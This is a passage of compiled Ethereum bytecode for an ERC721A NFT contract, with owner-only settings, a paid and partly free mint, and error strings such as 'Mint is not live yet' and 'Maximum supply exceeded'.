ffffffffff16148061117b575061112a61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190614184565b60405180910390fd5b80600e8190555050565b60006111cf82612b95565b600001519050919050565b6000600b54905090565b600a80546111f19061461f565b80601f016020809104026020016040519081016040528092919081815260200182805461121d9061461f565b801561126a5780601f1061123f5761010080835404028352916020019161126a565b820191906000526020600020905b81548152906001019060200180831161124d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da90614104565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b61136361259b565b73ffffffffffffffffffffffffffffffffffffffff16611381611549565b73ffffffffffffffffffffffffffffffffffffffff1614806113f757506113a661259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d90614184565b60405180910390fd5b6114406000612d2f565b565b61144a61259b565b73ffffffffffffffffffffffffffffffffffffffff16611468611549565b73ffffffffffffffffffffffffffffffffffffffff1614806114de575061148d61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490614184565b60405180910390fd5b601060009054906101000a900460ff1615601060006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61157b61259b565b73ffffffffffffffffffffffffffffffffffffffff16611599611549565b73ffffffffffffffffffffffffffffffffffffffff16148061160f57506115be61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61164e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164590614184565b60405180910390fd5b80600b8190555050565b6060600280546116679061461f565b80601f01602080910402602001604051908101604052809291908181526020018280546116939061461f565b80156116e05780601f106116b5576101008083540402835291602001916116e0565b820191906000526020600020905b8154815290600101906020018083116116c357829003601f168201915b5050505050905090565b6116f261259b565b73ffffffffffffffffffffffffffffffffffffffff16611710611549565b73ffffffffffffffffffffffffffffffffffffffff161480611786575061173561259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6117c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bc90614184565b60405180910390fd5b6117cf8282612df5565b5050565b600b5481565b6000600b54905060006001600e546117f19190614454565b836011546117ff9190614454565b10801561184c5750600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611bb657601060009054906101000a900460ff166118a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189a90614024565b60405180910390fd5b600f54836118af610c7b565b6118b99190614454565b11156118fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f190614044565b60405180910390fd5b600c5483111561193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906142c4565b60405180910390fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d5461198c9190614535565b8310611aa85781601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119e09190614535565b6119ea91906144db565b82846119f691906144db565b611a009190614535565b341015611a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3990614124565b60405180910390fd5b600d54601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460116000828254611a9c9190614454565b92505081905550611bb1565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611af59190614535565b831015611bb0576000341015611b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3790614124565b60405180910390fd5b82601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b8f9190614454565b925050819055508260116000828254611ba89190614454565b925050819055505b5b611cf0565b601060009054906101000a900460ff16611c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfc90614024565b60405180910390fd5b8183611c1191906144db565b341015611c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4a90614124565b60405180910390fd5b600f5483611c5f610c7b565b611c699190614454565b1115611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca190614044565b60405180910390fd5b600c54831115611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce6906142c4565b60405180910390fd5b5b611cfa3384612df5565b505050565b611d0761259b565b73ffffffffffffffffffffffffffffffffffffffff16611d25611549565b73ffffffffffffffffffffffffffffffffffffffff161480611d9b5750611d4a61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190614184565b60405180910390fd5b80600a9080519060200190611df092919061355c565b5050565b611dfc61259b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e61906141c4565b60405180910390fd5b8060066000611e7761259b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611f2461259b565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611f699190613fc7565b60405180910390a35050565b6000600d54905090565b611f8761259b565b73ffffffffffffffffffffffffffffffffffffffff16611fa5611549565b73ffffffffffffffffffffffffffffffffffffffff16148061201b5750611fca61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61205a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205190614184565b60405180910390fd5b6000821161209d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209490614264565b60405180910390fd5b600f54826120a9610c7b565b6120b39190614454565b11156120f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120eb90614144565b60405180910390fd5b6120fe8183612df5565b5050565b61210d848484612655565b61211984848484612e13565b612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90614244565b60405180910390fd5b50505050565b600d5481565b606061216f8261258e565b6121ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a5906141a4565b60405180910390fd5b60006121b8612faa565b905060008151116121d8576040518060200160405280600081525061220f565b806121ee6001856121e99190614454565b61303c565b6040516020016121ff929190613f1c565b6040516020818303038152906040525b915050919050565b601060009054906101000a900460ff1681565b600f5481565b60115481565b61223e61259b565b73ffffffffffffffffffffffffffffffffffffffff1661225c611549565b73ffffffffffffffffffffffffffffffffffffffff1614806122d2575061228161259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230890614184565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123b761259b565b73ffffffffffffffffffffffffffffffffffffffff166123d5611549565b73ffffffffffffffffffffffffffffffffffffffff16148061244b57506123fa61259b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61248a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248190614184565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f190614064565b60405180910390fd5b61250381612d2f565b50565b60126020528060005260406000206000915090505481565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061266082612b95565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661268761259b565b73ffffffffffffffffffffffffffffffffffffffff1614806126e357506126ac61259b565b73ffffffffffffffffffffffffffffffffffffffff166126cb84610add565b73ffffffffffffffffffffffffffffffffffffffff16145b806126ff57506126fe82600001516126f961259b565b61231b565b5b905080612741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612738906141e4565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa90614164565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281a906140c4565b60405180910390fd5b612830858585600161319d565b61284060008484600001516125a3565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612b2557612a848161258e565b15612b245782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612b8e85858560016131a3565b5050505050565b612b9d6135e2565b612ba68261258e565b612be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bdc90614084565b60405180910390fd5b60008290505b60008110612cee576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612cdf578092505050612d2a565b50808060019003915050612beb565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2190614324565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e0f8282604051806020016040528060008152506131a9565b5050565b6000612e348473ffffffffffffffffffffffffffffffffffffffff166131bb565b15612f9d578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612e5d61259b565b8786866040518563ffffffff1660e01b8152600401612e7f9493929190613f7b565b602060405180830381600087803b158015612e9957600080fd5b505af1925050508015612eca57506040513d601f19601f82011682018060405250810190612ec79190613972565b60015b612f4d573d8060008114612efa576040519150601f19603f3d011682016040523d82523d6000602084013e612eff565b606091505b50600081511415612f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3c90614244565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612fa2565b600190505b949350505050565b6060600a8054612fb99061461f565b80601f0160208091040260200160405190810160405280929190818152602001828054612fe59061461f565b80156130325780601f1061300757610100808354040283529160200191613032565b820191906000526020600020905b81548152906001019060200180831161301557829003601f168201915b5050505050905090565b60606000821415613084576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613198565b600082905060005b600082146130b657808061309f90614682565b915050600a826130af91906144aa565b915061308c565b60008167ffffffffffffffff8111156130d2576130d16147b8565b5b6040519080825280601f01601f1916602001820160405280156131045781602001600182028036833780820191505090505b5090505b600085146131915760018261311d9190614535565b9150600a8561312c91906146cb565b60306131389190614454565b60f81b81838151811061314e5761314d614789565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561318a91906144aa565b9450613108565b8093505050505b919050565b50505050565b50505050565b6131b683838360016131de565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324b90614284565b60405180910390fd5b6000841415613298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161328f906142a4565b60405180910390fd5b6132a5600086838761319d565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561353f57818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831561352a576134ea6000888488612e13565b613529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161352090614244565b60405180910390fd5b5b81806001019250508080600101915050613473565b50806000819055505061355560008683876131a3565b5050505050565b8280546135689061461f565b90600052602060002090601f01602090048101928261358a57600085556135d1565b82601f106135a357805160ff19168380011785556135d1565b828001600101855582156135d1579182015b828111156135d05782518255916020019190600101906135b5565b5b5090506135de919061361c565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b8082111561363557600081600090555060010161361d565b5090565b600061364c613647846143a4565b61437f565b905082815260208101848484011115613668576136676147ec565b5b6136738482856145dd565b509392505050565b600061368e613689846143d5565b61437f565b9050828152602081018484840111156136aa576136a96147ec565b5b6136b58482856145dd565b509392505050565b6000813590506136cc81614f11565b92915050565b6000813590506136e181614f28565b92915050565b6000813590506136f681614f3f565b92915050565b60008151905061370b81614f3f565b92915050565b600082601f830112613726576137256147e7565b5b8135613736848260208601613639565b91505092915050565b600082601f830112613754576137536147e7565b5b813561376484826020860161367b565b91505092915050565b60008135905061377c81614f56565b92915050565b600060208284031215613798576137976147f6565b5b60006137a6848285016136bd565b91505092915050565b600080604083850312156137c6576137c56147f6565b5b60006137d4858286016136bd565b92505060206137e5858286016136bd565b9150509250929050565b600080600060608486031215613808576138076147f6565b5b6000613816868287016136bd565b9350506020613827868287016136bd565b92505060406138388682870161376d565b9150509250925092565b6000806000806080858703121561385c5761385b6147f6565b5b600061386a878288016136bd565b945050602061387b878288016136bd565b935050604061388c8782880161376d565b925050606085013567ffffffffffffffff8111156138ad576138ac6147f1565b5b6138b987828801613711565b91505092959194509250565b600080604083850312156138dc576138db6147f6565b5b60006138ea858286016136bd565b92505060206138fb858286016136d2565b9150509250929050565b6000806040838503121561391c5761391b6147f6565b5b600061392a858286016136bd565b925050602061393b8582860161376d565b9150509250929050565b60006020828403121561395b5761395a6147f6565b5b6000613969848285016136e7565b91505092915050565b600060208284031215613988576139876147f6565b5b6000613996848285016136fc565b91505092915050565b6000602082840312156139b5576139b46147f6565b5b600082013567ffffffffffffffff8111156139d3576139d26147f1565b5b6139df8482850161373f565b91505092915050565b6000602082840312156139fe576139fd6147f6565b5b6000613a0c8482850161376d565b91505092915050565b60008060408385031215613a2c57613a2b6147f6565b5b6000613a3a8582860161376d565b9250506020613a4b858286016136bd565b9150509250929050565b613a5e81614569565b82525050565b613a6d8161457b565b82525050565b6000613a7e82614406565b613a88818561441c565b9350613a988185602086016145ec565b613aa1816147fb565b840191505092915050565b6000613ab782614411565b613ac18185614438565b9350613ad18185602086016145ec565b613ada816147fb565b840191505092915050565b6000613af082614411565b613afa8185614449565b9350613b0a8185602086016145ec565b80840191505092915050565b6000613b23602283614438565b9150613b2e8261480c565b604082019050919050565b6000613b46601483614438565b9150613b518261485b565b602082019050919050565b6000613b69600783614438565b9150613b7482614884565b602082019050919050565b6000613b8c602683614438565b9150613b97826148ad565b604082019050919050565b6000613baf602a83614438565b9150613bba826148fc565b604082019050919050565b6000613bd2602383614438565b9150613bdd8261494b565b604082019050919050565b6000613bf5602583614438565b9150613c008261499a565b604082019050919050565b6000613c18603983614438565b9150613c23826149e9565b604082019050919050565b6000613c3b602b83614438565b9150613c4682614a38565b604082019050919050565b6000613c5e602083614438565b9150613c6982614a87565b602082019050919050565b6000613c81601783614438565b9150613c8c82614ab0565b602082019050919050565b6000613ca4602683614438565b9150613caf82614ad9565b604082019050919050565b6000613cc7600583614449565b9150613cd282614b28565b600582019050919050565b6000613cea602083614438565b9150613cf582614b51565b602082019050919050565b6000613d0d602f83614438565b9150613d1882614b7a565b604082019050919050565b6000613d30601a83614438565b9150613d3b82614bc9565b602082019050919050565b6000613d53603283614438565b9150613d5e82614bf2565b604082019050919050565b6000613d76602283614438565b9150613d8182614c41565b604082019050919050565b6000613d9960008361442d565b9150613da482614c90565b600082019050919050565b6000613dbc601083614438565b9150613dc782614c93565b602082019050919050565b6000613ddf603383614438565b9150613dea82614cbc565b604082019050919050565b6000613e02601383614438565b9150613e0d82614d0b565b602082019050919050565b6000613e25602183614438565b9150613e3082614d34565b604082019050919050565b6000613e48602883614438565b9150613e5382614d83565b604082019050919050565b6000613e6b601383614438565b9150613e7682614dd2565b602082019050919050565b6000613e8e602e83614438565b9150613e9982614dfb565b604082019050919050565b6000613eb1601f83614438565b9150613ebc82614e4a565b602082019050919050565b6000613ed4602f83614438565b9150613edf82614e73565b604082019050919050565b6000613ef7602d83614438565b9150613f0282614ec2565b604082019050919050565b613f16816145d3565b82525050565b6000613f288285613ae5565b9150613f348284613ae5565b9150613f3f82613cba565b91508190509392505050565b6000613f5682613d8c565b9150819050919050565b6000602082019050613f756000830184613a55565b92915050565b6000608082019050613f906000830187613a55565b613f9d6020830186613a55565b613faa6040830185613f0d565b8181036060830152613fbc8184613a73565b905095945050505050565b6000602082019050613fdc6000830184613a64565b92915050565b60006020820190508181036000830152613ffc8184613aac565b905092915050565b6000602082019050818103600083015261401d81613b16565b9050919050565b6000602082019050818103600083015261403d81613b39565b9050919050565b6000602082019050818103600083015261405d81613b5c565b9050919050565b6000602082019050818103600083015261407d81613b7f565b9050919050565b6000602082019050818103600083015261409d81613ba2565b9050919050565b600060208201905081810360008301526140bd81613bc5565b9050919050565b600060208201905081810360008301526140dd81613be8565b9050919050565b600060208201905081810360008301526140fd81613c0b565b9050919050565b6000602082019050818103600083015261411d81613c2e565b9050919050565b6000602082019050818103600083015261413d81613c51565b9050919050565b6000602082019050818103600083015261415d81613c74565b9050919050565b6000602082019050818103600083015261417d81613c97565b9050919050565b6000602082019050818103600083015261419d81613cdd565b9050919050565b600060208201905081810360008301526141bd81613d00565b9050919050565b600060208201905081810360008301526141dd81613d23565b9050919050565b600060208201905081810360008301526141fd81613d46565b9050919050565b6000602082019050818103600083015261421d81613d69565b9050919050565b6000602082019050818103600083015261423d81613daf565b9050919050565b6000602082019050818103600083015261425d81613dd2565b9050919050565b6000602082019050818103600083015261427d81613df5565b9050919050565b6000602082019050818103600083015261429d81613e18565b9050919050565b600060208201905081810360008301526142bd81613e3b565b9050919050565b600060208201905081810360008301526142dd81613e5e565b9050919050565b600060208201905081810360008301526142fd81613e81565b9050919050565b6000602082019050818103600083015261431d81613ea4565b9050919050565b6000602082019050818103600083015261433d81613ec7565b9050919050565b6000602082019050818103600083015261435d81613eea565b9050919050565b60006020820190506143796000830184613f0d565b92915050565b600061438961439a565b90506143958282614651565b919050565b6000604051905090565b600067ffffffffffffffff8211156143bf576143be6147b8565b5b6143c8826147fb565b9050602081019050919050565b600067ffffffffffffffff8211156143f0576143ef6147b8565b5b6143f9826147fb565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061445f826145d3565b915061446a836145d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561449f5761449e6146fc565b5b828201905092915050565b60006144b5826145d3565b91506144c0836145d3565b9250826144d0576144cf61472b565b5b828204905092915050565b60006144e6826145d3565b91506144f1836145d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561452a576145296146fc565b5b828202905092915050565b6000614540826145d3565b915061454b836145d3565b92508282101561455e5761455d6146fc565b5b828203905092915050565b6000614574826145b3565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561460a5780820151818401526020810190506145ef565b83811115614619576000848401525b50505050565b6000600282049050600182168061463757607f821691505b6020821081141561464b5761464a61475a565b5b50919050565b61465a826147fb565b810181811067ffffffffffffffff82111715614679576146786147b8565b5b80604052505050565b600061468d826145d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146c0576146bf6146fc565b5b600182019050919050565b60006146d6826145d3565b91506146e1836145d3565b9250826146f1576146f061472b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74206973206e6f74206c69766520796574000000000000000000000000600082015250565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f506c656173652073656e64207468652065786163742045544820616d6f756e74600082015250565b7f4d6178696d756d20737570706c79206578636565646564000000000000000000600082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b614f1a81614569565b8114614f2557600080fd5b50565b614f318161457b565b8114614f3c57600080fd5b50565b614f4881614587565b8114614f5357600080fd5b50565b614f5f816145d3565b8114614f6a57600080fd5b5056fea26469706673582212202e737091f2cfffa76f87a79609814acc3c766736f23058eac570873b94c73c0064736f6c63430008070033

